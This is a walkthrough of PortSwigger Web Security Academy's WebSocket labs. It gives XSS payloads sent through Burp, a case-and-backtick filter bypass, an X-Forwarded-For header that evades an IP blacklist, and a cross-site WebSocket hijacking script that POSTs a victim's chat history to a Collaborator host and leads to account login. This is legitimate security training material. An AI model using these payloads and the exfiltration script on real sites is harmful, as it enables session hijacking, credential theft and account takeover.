WebSecurityAcademy (PortSwigger) – WebSockets

Walk-through of the WebSockets lab on PortSwigger Web Security Academy.

Apprentice – Manipulating WebSocket messages to exploit vulnerabilities

  • Click on Live chat.
  • Enter a message and click Send.

The message appears in Burp’s WebSockets history tab.

{"message":"whatever"}

Send the websocket request to the Repeater module and send this payload.

{"message":"<img src=1 onerror=alert(1)>"}

Practitioner – Manipulating the WebSocket handshake to exploit vulnerabilities

This online shop has a live chat feature implemented using WebSockets. It has an aggressive but flawed XSS filter. To solve the lab, use a WebSocket message to trigger an alert() popup in the support agent’s browser.

  • Click on Live chat.
  • Enter a message and click Send.

The message appears in Burp’s WebSockets history tab.

{"message":"whatever"}

Send the websocket request to the Repeater module and send this payload.

{"message":"<img src=1 onerror=alert(1)>"}
{"error":"Attack detected: Event handler"}

The attack is detected and the connection to the websocket disconnects. Clicking on Chat again gives this response:

HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 29

"This address is blacklisted"

In the Repeater tab of the websocket, reconnect to the websocket and add the “X-Forwarded-For: 127.0.0.1” header to bypass the blacklisting (or any other IP address).

GET /chat HTTP/1.1
...
X-Forwarded-For: 127.0.0.1

Try different obfuscation techniques until one works. To simplify the process, add a session handling rule to add the X-Forwarded header to all request (see Burp Suite).

{"message":"<img src=1 oNeRrOr=alert`1`>"}

The XSS payload is executed.

Practitioner – Cross-site WebSocket hijacking

This online shop has a live chat feature implemented using WebSockets. To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim’s chat history, then use this gain access to their account.

  • Click on Live chat.
  • Enter a message and click Send.

The message appears in Burp’s WebSockets history tab.

Review the websocket handshake HTTP request:

GET /chat HTTP/2
Host: <LAB ID>.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: ...
Upgrade: websocket
Origin: https://<LAB ID>.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=<token>
Sec-Websocket-Key: QvCs/HLeQYfN5NqD6hTN9w==
HTTP/1.1 101 Switching Protocol
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: OlUycZxsoi+DmStqFc2psXVFfzQ=
Content-Length: 0

This handshake is vulnerable to CSRF since it relies only on HTTP cookies for session handling and does not employ any tokens or other unpredictable values in request parameters.

❗ The Sec-WebSocket-Key header contains a random value to prevent errors from caching proxies, and is not used for authentication or session handling purposes.

Observe the messages in the websocket history. The “READY” message retrieves the conversation history.

Click on Go to exploit server and store this payload.

<script>
    var ws = new WebSocket('wss://<LAB ID>.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://<BURP COLLABORATOR ID>.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

Burp Collaborator receives a few requests. One contains the password.

POST / HTTP/1.1
...

{"user":"Hal Pline","content":"No problem carlos, it&apos;s dy1cxztdgraq1naoy3gf"}

Click on My account and log in with credentials “carlos/dy1cxztdgraq1naoy3gf”.